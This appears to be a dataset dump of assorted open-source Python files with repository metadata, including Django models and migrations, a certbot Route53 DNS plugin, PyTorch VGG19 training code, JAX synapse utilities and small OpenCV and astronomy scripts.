import global_settings as gs import numpy as np import pandas as pd import bonsai_io as bio import common import copy def nr_of_unique_rows(df): d = df.drop_duplicates() return len(d) def nr_of_unique_values_in_cols(df, cols): c = df.drop_duplicates(subset = cols) return len(c) def nr_of_unique_...
true
true
f7192ca4418b9d3bb4703a309575a6c835793c29
2,000
py
Python
daemon/core/gui/dialogs/mobilityconfig.py
montag451/core
3be162b0b0f54b35520b980023abdfad4ff5e489
[ "BSD-2-Clause" ]
null
null
null
daemon/core/gui/dialogs/mobilityconfig.py
montag451/core
3be162b0b0f54b35520b980023abdfad4ff5e489
[ "BSD-2-Clause" ]
null
null
null
daemon/core/gui/dialogs/mobilityconfig.py
montag451/core
3be162b0b0f54b35520b980023abdfad4ff5e489
[ "BSD-2-Clause" ]
null
null
null
""" mobility configuration """ from tkinter import ttk from typing import TYPE_CHECKING import grpc from core.gui.dialogs.dialog import Dialog from core.gui.errors import show_grpc_error from core.gui.themes import PADX, PADY from core.gui.widgets import ConfigFrame if TYPE_CHECKING: from core.gui.app import App...
30.769231
82
0.643
from tkinter import ttk from typing import TYPE_CHECKING import grpc from core.gui.dialogs.dialog import Dialog from core.gui.errors import show_grpc_error from core.gui.themes import PADX, PADY from core.gui.widgets import ConfigFrame if TYPE_CHECKING: from core.gui.app import Application from core.gui.grap...
true
true
f7192d36362e57de19098cfbb44d604a21beea70
27
py
Python
src/user/__init__.py
aleksandrgordienko/melissa-quiz
49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f
[ "MIT" ]
null
null
null
src/user/__init__.py
aleksandrgordienko/melissa-quiz
49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f
[ "MIT" ]
null
null
null
src/user/__init__.py
aleksandrgordienko/melissa-quiz
49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f
[ "MIT" ]
null
null
null
from user.user import User
13.5
26
0.814815
from user.user import User
true
true
f7192d364390595ddfd11a6ee7c5d20a2c7dadff
759
py
Python
revibe/_errors/accounts.py
Revibe-Music/core-services
6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2
[ "MIT" ]
2
2022-01-24T23:30:18.000Z
2022-01-26T00:21:22.000Z
revibe/_errors/accounts.py
Revibe-Music/core-services
6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2
[ "MIT" ]
null
null
null
revibe/_errors/accounts.py
Revibe-Music/core-services
6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2
[ "MIT" ]
null
null
null
from rest_framework.exceptions import APIException from revibe._errors import network from revibe._helpers import status # ----------------------------------------------------------------------------- class AccountError(APIException): status_code = status.HTTP_409_CONFLICT default_detail = "The request could...
33
79
0.715415
from rest_framework.exceptions import APIException from revibe._errors import network from revibe._helpers import status class AccountError(APIException): status_code = status.HTTP_409_CONFLICT default_detail = "The request could not be completed, please try again" default_code = 'conflict' class Accou...
true
true
f7192ecde00bc5320bdb6678d1b0c377180f6a7d
59
py
Python
resources/resources/enow/jython/pythonSrc/__init__.py
ENOW-IJI/ENOW-server
1398d5a9d037efcee2886f6c7393b5e396ab0c18
[ "Apache-2.0" ]
3
2016-08-12T14:46:53.000Z
2016-08-13T02:54:58.000Z
resources/resources/enow/jython/pythonSrc/__init__.py
ENOW-IJI/ENOW-server
1398d5a9d037efcee2886f6c7393b5e396ab0c18
[ "Apache-2.0" ]
1
2016-08-30T15:58:19.000Z
2016-08-30T15:58:19.000Z
python/enow/jython/pythonSrc/__init__.py
ENOW-IJI/api
415fc69fc8f1ad25f1619aca0fa932f92e8b9d09
[ "Apache-2.0" ]
null
null
null
__all__ = ["preCode", "body", "postCode", "StreamToLogger"]
59
59
0.677966
__all__ = ["preCode", "body", "postCode", "StreamToLogger"]
true
true
f7192f1a1cfbc76f583f0c727d070157e0eb514b
542
py
Python
manage.py
preet4737/College-Event-Manager
c8da687adeaa4f7f16d717a554e0e7af609fd305
[ "MIT" ]
3
2019-12-20T05:51:48.000Z
2020-02-01T20:56:39.000Z
manage.py
preet4737/College-Event-Manager
c8da687adeaa4f7f16d717a554e0e7af609fd305
[ "MIT" ]
6
2020-03-24T05:42:57.000Z
2020-03-24T05:42:59.000Z
manage.py
preet4737/College-Event-Manager
c8da687adeaa4f7f16d717a554e0e7af609fd305
[ "MIT" ]
4
2019-03-14T11:09:30.000Z
2019-03-31T18:12:59.000Z
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "project-vp.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. A...
33.875
74
0.686347
import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "project-vp.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's insta...
true
true
f7192f9313d327c6a79ea32950ca12ca646bc3cc
434
py
Python
src/accounts/migrations/0005_auto_20180606_0601.py
ciphertz/final
28cf265b0e3f1e71cd95d2bd90b5662ad6f3d4a6
[ "bzip2-1.0.6" ]
null
null
null
src/accounts/migrations/0005_auto_20180606_0601.py
ciphertz/final
28cf265b0e3f1e71cd95d2bd90b5662ad6f3d4a6
[ "bzip2-1.0.6" ]
null
null
null
src/accounts/migrations/0005_auto_20180606_0601.py
ciphertz/final
28cf265b0e3f1e71cd95d2bd90b5662ad6f3d4a6
[ "bzip2-1.0.6" ]
null
null
null
# Generated by Django 2.0.6 on 2018-06-06 06:01 from django.conf import settings from django.db import migrations class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('accounts', '0004_userstripe'), ] operations = [ ...
21.7
66
0.647465
from django.conf import settings from django.db import migrations class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('accounts', '0004_userstripe'), ] operations = [ migrations.RenameModel( old_name='us...
true
true
f7192fe132fcf5d6519186205108fc34b3226385
759
py
Python
Week1/brightest_pixel_position_fits.py
vinayak1998/Data_Driven_Astronomy
1d0dd82b2e9066759c442807c30c70bef096d719
[ "MIT" ]
2
2021-05-21T07:31:49.000Z
2022-03-28T05:25:44.000Z
Week1/brightest_pixel_position_fits.py
vinayak1998/Data_Driven_Astronomy
1d0dd82b2e9066759c442807c30c70bef096d719
[ "MIT" ]
null
null
null
Week1/brightest_pixel_position_fits.py
vinayak1998/Data_Driven_Astronomy
1d0dd82b2e9066759c442807c30c70bef096d719
[ "MIT" ]
4
2020-11-24T21:12:16.000Z
2021-09-18T12:26:45.000Z
import numpy as np import time from astropy.io import fits import matplotlib.pyplot as plt def load_fits(filename): start = time.perf_counter() hdulist = fits.open(filename) data = hdulist[0].data result = np.where(data == np.amax(data)) coornidates = list(zip(result[0],result[1])) end = time.perf_counter(...
25.3
48
0.708827
import numpy as np import time from astropy.io import fits import matplotlib.pyplot as plt def load_fits(filename): start = time.perf_counter() hdulist = fits.open(filename) data = hdulist[0].data result = np.where(data == np.amax(data)) coornidates = list(zip(result[0],result[1])) end = time.perf_counter(...
true
true
f719309e5d9927ab6c3ee41678119a9d8e7d506c
3,816
py
Python
development/multiImage_pytorch/persistence.py
anaikawadi/svbrdf-estimation
c977aa8448b2131af3960895afd1105d29e5484a
[ "MIT" ]
14
2020-06-16T17:01:46.000Z
2021-12-10T02:02:28.000Z
development/multiImage_pytorch/persistence.py
huanyingyunhan/svbrdf-estimation
6c169b12210d2a92495c1ab1218dd3e4da0314a5
[ "MIT" ]
1
2021-08-08T17:28:36.000Z
2021-08-13T17:20:47.000Z
development/multiImage_pytorch/persistence.py
huanyingyunhan/svbrdf-estimation
6c169b12210d2a92495c1ab1218dd3e4da0314a5
[ "MIT" ]
5
2020-12-27T23:00:12.000Z
2021-12-10T02:02:14.000Z
import gc import json import pathlib import torch class Checkpoint: def __init__(self, checkpoint=None): self.checkpoint = checkpoint @staticmethod def get_checkpoint_path(checkpoint_dir): return checkpoint_dir.joinpath("checkpoint.tar") @staticmethod def load_legacy(model_dir): ...
31.02439
85
0.619759
import gc import json import pathlib import torch class Checkpoint: def __init__(self, checkpoint=None): self.checkpoint = checkpoint @staticmethod def get_checkpoint_path(checkpoint_dir): return checkpoint_dir.joinpath("checkpoint.tar") @staticmethod def load_legacy(model_dir): ...
true
true
f7193160ab5b74cc0bfaf421bd89b39fb7242385
1,594
py
Python
models/helper.py
kobakobashu/posenet-python
52290733504fd0a130cc2301bad5db761c14a4e9
[ "Apache-2.0" ]
null
null
null
models/helper.py
kobakobashu/posenet-python
52290733504fd0a130cc2301bad5db761c14a4e9
[ "Apache-2.0" ]
9
2021-05-03T01:38:46.000Z
2021-07-14T13:13:25.000Z
models/helper.py
kobakobashu/posenet-python
52290733504fd0a130cc2301bad5db761c14a4e9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """Models helper These are helper functions for models. """ import torch.optim as optim import torch.nn as nn from configs.supported_info import SUPPORTED_OPTIMIZER, SUPPORTED_CRITERION def get_optimizer(cfg: object, network: object) -> object: """Get optimizer function This is fu...
21.835616
79
0.648055
import torch.optim as optim import torch.nn as nn from configs.supported_info import SUPPORTED_OPTIMIZER, SUPPORTED_CRITERION def get_optimizer(cfg: object, network: object) -> object: optimizer_name = cfg.name if not optimizer_name: return None if optimizer_name not in SUPPORTED_OPTIMIZE...
true
true
f719316890fdeb362381d720d148647e2cd07220
299
py
Python
roll.py
intuited/legendlore
ed7942ebfe3724b09515d431f3f2031a94e60eda
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
roll.py
intuited/legendlore
ed7942ebfe3724b09515d431f3f2031a94e60eda
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
roll.py
intuited/legendlore
ed7942ebfe3724b09515d431f3f2031a94e60eda
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
from random import randint from functools import partial def roll3d6(): return sum(randint(1, 6) for i in range(3)) def roll4d6dl1(): dice = sorted(randint(1, 6) for i in range(4)) return sum(dice[1:]) def genchar(roll_method=roll4d6dl1): return [roll_method() for i in range(6)]
23
50
0.692308
from random import randint from functools import partial def roll3d6(): return sum(randint(1, 6) for i in range(3)) def roll4d6dl1(): dice = sorted(randint(1, 6) for i in range(4)) return sum(dice[1:]) def genchar(roll_method=roll4d6dl1): return [roll_method() for i in range(6)]
true
true
f71931a377b93d7eb6f7878b5c0f35e19f2a5c5c
1,092
py
Python
python/cinn/__init__.py
Avin0323/CINN
093217619c821e73cec15511fa54cb0026ed0476
[ "Apache-2.0" ]
null
null
null
python/cinn/__init__.py
Avin0323/CINN
093217619c821e73cec15511fa54cb0026ed0476
[ "Apache-2.0" ]
null
null
null
python/cinn/__init__.py
Avin0323/CINN
093217619c821e73cec15511fa54cb0026ed0476
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 CINN Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
37.655172
75
0.772894
import os cinndir = os.path.dirname(os.path.abspath(__file__)) runtime_include_dir = os.path.join(cinndir, "libs") cuhfile = os.path.join(runtime_include_dir, "cinn_cuda_runtime_source.cuh") if os.path.exists(cuhfile): os.environ.setdefault('runtime_include_dir', runtime_include_dir) from .core_api.common import...
true
true
f7193471cea625250605c013d6247623e3656276
482
py
Python
dynamic_menu/middleware.py
lessss4/oil-and-rope
b8b52609f928e8c9174b7339cbb85cc21bae4538
[ "MIT" ]
null
null
null
dynamic_menu/middleware.py
lessss4/oil-and-rope
b8b52609f928e8c9174b7339cbb85cc21bae4538
[ "MIT" ]
null
null
null
dynamic_menu/middleware.py
lessss4/oil-and-rope
b8b52609f928e8c9174b7339cbb85cc21bae4538
[ "MIT" ]
null
null
null
class DynamicMenuMiddleware: """ Adds a cookie to track user when navigating our website, so we can know which part of the web did he/she came from. """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): response = self.get_response...
32.133333
70
0.682573
class DynamicMenuMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): response = self.get_response(request) if '_auth_user_menu_referrer' not in request.COOKIES: response.set_cookie('_auth_user_menu_referrer', None) ...
true
true
f71935b8f3aa0244535d6d5bf915f0643fa098c5
5,892
py
Python
Scripts_Model/scripts_pytorch/VGG19_pytorch.py
zhangziyezzy/DeepLearningMugenKnock
e306f436fb41b5549d0adf9ad331d638e5906e29
[ "MIT" ]
10
2021-12-17T06:07:25.000Z
2022-03-25T13:50:05.000Z
Scripts_Model/scripts_pytorch/VGG19_pytorch.py
karaage0703/DeepLearningMugenKnock
26830fe049c7da8001977ca0df12e946c0f030eb
[ "MIT" ]
null
null
null
Scripts_Model/scripts_pytorch/VGG19_pytorch.py
karaage0703/DeepLearningMugenKnock
26830fe049c7da8001977ca0df12e946c0f030eb
[ "MIT" ]
2
2022-03-15T02:42:09.000Z
2022-03-30T23:19:55.000Z
import torch import torch.nn.functional as F import numpy as np from collections import OrderedDict from easydict import EasyDict from _main_base import main import os #--- # config #--- cfg = EasyDict() # class cfg.CLASS_LABEL = ['akahara', 'madara'] cfg.CLASS_NUM = len(cfg.CLASS_LABEL) # model cfg.INPUT_HEIGHT = 6...
35.926829
102
0.593856
import torch import torch.nn.functional as F import numpy as np from collections import OrderedDict from easydict import EasyDict from _main_base import main import os cfg = EasyDict() cfg.CLASS_LABEL = ['akahara', 'madara'] cfg.CLASS_NUM = len(cfg.CLASS_LABEL) cfg.INPUT_HEIGHT = 64 cfg.INPUT_WIDTH = 64 cfg.INPUT_CH...
true
true
f71935de250e0719a42fab6dc8ca47d5eff65661
5,961
py
Python
certbot-dns-route53/certbot_dns_route53/dns_route53.py
tsrivishnu/certbot
81f02e5578819220e0b4e15a9ceca9b77fff436e
[ "Apache-2.0" ]
4
2020-04-09T21:57:23.000Z
2020-04-11T13:26:54.000Z
certbot-dns-route53/certbot_dns_route53/dns_route53.py
tsrivishnu/certbot
81f02e5578819220e0b4e15a9ceca9b77fff436e
[ "Apache-2.0" ]
32
2019-02-20T14:51:48.000Z
2019-02-27T10:11:34.000Z
certbot-dns-route53/certbot_dns_route53/dns_route53.py
tsrivishnu/certbot
81f02e5578819220e0b4e15a9ceca9b77fff436e
[ "Apache-2.0" ]
3
2019-03-21T23:21:38.000Z
2020-06-23T20:56:56.000Z
"""Certbot Route53 authenticator plugin.""" import collections import logging import time import boto3 import zope.interface from botocore.exceptions import NoCredentialsError, ClientError from certbot import errors from certbot import interfaces from certbot.plugins import dns_common from acme.magic_typing import D...
39.217105
146
0.610636
import collections import logging import time import boto3 import zope.interface from botocore.exceptions import NoCredentialsError, ClientError from certbot import errors from certbot import interfaces from certbot.plugins import dns_common from acme.magic_typing import DefaultDict, List, Dict logger = logging.get...
true
true
f7193608cbcf5a355487e2c77d44dfda695bddce
5,728
py
Python
tests/test_stackdriver_parser.py
cleardataeng/forseti-policy-enforcer
11eca7e7012759be2730297ef362708695885da7
[ "Apache-2.0" ]
11
2019-04-12T21:23:49.000Z
2020-09-02T11:16:49.000Z
tests/test_stackdriver_parser.py
forseti-security/real-time-enforcer
11eca7e7012759be2730297ef362708695885da7
[ "Apache-2.0" ]
18
2019-04-09T16:23:03.000Z
2021-04-26T14:25:17.000Z
tests/test_stackdriver_parser.py
forseti-security/forseti-policy-enforcer
11eca7e7012759be2730297ef362708695885da7
[ "Apache-2.0" ]
11
2019-05-08T09:08:08.000Z
2021-04-26T19:23:24.000Z
# Copyright 2019 The Forseti Real Time Enforcer Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
49.37931
138
0.752793
import json import os import pytest from app.parsers.stackdriver import StackdriverParser from google.oauth2.credentials import Credentials from rpe.resources.gcp import GoogleAPIResource test_google_args = { 'credentials': Credentials(token='bogus'), } def get_test_data(filename): p = os.path.join( ...
true
true
f7193619bac808f3d98da51fdcf5aec8a4d3189e
7,952
py
Python
blur/synapse_util.py
DionysisChristopoulos/google-research
7f59ef421beef32ca16c2a7215be74f7eba01a0f
[ "Apache-2.0" ]
7
2021-06-15T05:54:29.000Z
2022-02-21T06:57:06.000Z
blur/synapse_util.py
DionysisChristopoulos/google-research
7f59ef421beef32ca16c2a7215be74f7eba01a0f
[ "Apache-2.0" ]
null
null
null
blur/synapse_util.py
DionysisChristopoulos/google-research
7f59ef421beef32ca16c2a7215be74f7eba01a0f
[ "Apache-2.0" ]
5
2021-11-25T07:40:17.000Z
2022-03-22T11:13:39.000Z
# coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
31.43083
80
0.689764
import enum import functools as ft from typing import Callable, List, Sequence, Text, Union, Optional import dataclasses as dc import jax.numpy as jp import numpy as np import tensorflow.compat.v1 as tf from blur import blur_env TensorShape = tf.TensorShape Tensor = Union[tf.Tensor, np.ndarray, jp.array] @dc.dat...
true
true
f71936663f2310c9c86574acc5b1c59f865d0108
3,113
py
Python
questionnaire/models.py
cjz25/cquestionnaire
961c508d463a8d9d50c8485fa65c4a9d3a56e5fa
[ "MIT" ]
null
null
null
questionnaire/models.py
cjz25/cquestionnaire
961c508d463a8d9d50c8485fa65c4a9d3a56e5fa
[ "MIT" ]
null
null
null
questionnaire/models.py
cjz25/cquestionnaire
961c508d463a8d9d50c8485fa65c4a9d3a56e5fa
[ "MIT" ]
1
2021-10-15T12:51:01.000Z
2021-10-15T12:51:01.000Z
from django.db import models # from django.contrib.auth.models import User from django.utils.translation import gettext_lazy as _ # Create your models here. class Questionnaire(models.Model): title = models.CharField(max_length=50) description = models.TextField(blank=True, default='') # created_by = mode...
33.836957
92
0.73948
from django.db import models from django.utils.translation import gettext_lazy as _ class Questionnaire(models.Model): title = models.CharField(max_length=50) description = models.TextField(blank=True, default='') updated_dtm = models.DateTimeField(auto_now=True) def __str__(self): return...
true
true
f7193789b5657ecbc5688792c3078421cbb68e5f
1,193
py
Python
meiduo_mall/meiduo_mall/apps/contents/models.py
0-pangda/meiduo_project1
69d771d9c5b67c01510ecfabe4c28989e44d0fba
[ "MIT" ]
null
null
null
meiduo_mall/meiduo_mall/apps/contents/models.py
0-pangda/meiduo_project1
69d771d9c5b67c01510ecfabe4c28989e44d0fba
[ "MIT" ]
null
null
null
meiduo_mall/meiduo_mall/apps/contents/models.py
0-pangda/meiduo_project1
69d771d9c5b67c01510ecfabe4c28989e44d0fba
[ "MIT" ]
null
null
null
from django.db import models from meiduo_mall.utils.models import BaseModel # Create your models here. class ContentCategory(BaseModel): """广告内容类别""" name = models.CharField(max_length=50, verbose_name='名称') key = models.CharField(max_length=50, verbose_name='类别键名') class Meta: db_table = 't...
32.243243
94
0.695725
from django.db import models from meiduo_mall.utils.models import BaseModel class ContentCategory(BaseModel): name = models.CharField(max_length=50, verbose_name='名称') key = models.CharField(max_length=50, verbose_name='类别键名') class Meta: db_table = 'tb_content_category' verbose_name = '...
true
true
f719378c3733c997ba58b7324d53b78e85a768f4
301
py
Python
opencv-python/ex6_image_canny.py
jemygraw/opencv-tutorial
2b85b5bf4b1e6ba416733a5b903752462101725e
[ "MIT" ]
null
null
null
opencv-python/ex6_image_canny.py
jemygraw/opencv-tutorial
2b85b5bf4b1e6ba416733a5b903752462101725e
[ "MIT" ]
null
null
null
opencv-python/ex6_image_canny.py
jemygraw/opencv-tutorial
2b85b5bf4b1e6ba416733a5b903752462101725e
[ "MIT" ]
2
2019-06-03T16:07:03.000Z
2019-07-24T08:36:00.000Z
import cv2 fname = '/Users/jemy/Documents/github-avatar.png' img = cv2.imread(fname, cv2.CAP_MODE_GRAY) cv2.namedWindow('Example6', cv2.WINDOW_AUTOSIZE) cv2.imshow('Example6', img) # canny imgOut = cv2.Canny(img, 0, 100) cv2.imshow('Example6', imgOut) cv2.waitKey(0) cv2.destroyWindow('Example6')
20.066667
49
0.744186
import cv2 fname = '/Users/jemy/Documents/github-avatar.png' img = cv2.imread(fname, cv2.CAP_MODE_GRAY) cv2.namedWindow('Example6', cv2.WINDOW_AUTOSIZE) cv2.imshow('Example6', img) imgOut = cv2.Canny(img, 0, 100) cv2.imshow('Example6', imgOut) cv2.waitKey(0) cv2.destroyWindow('Example6')
true
true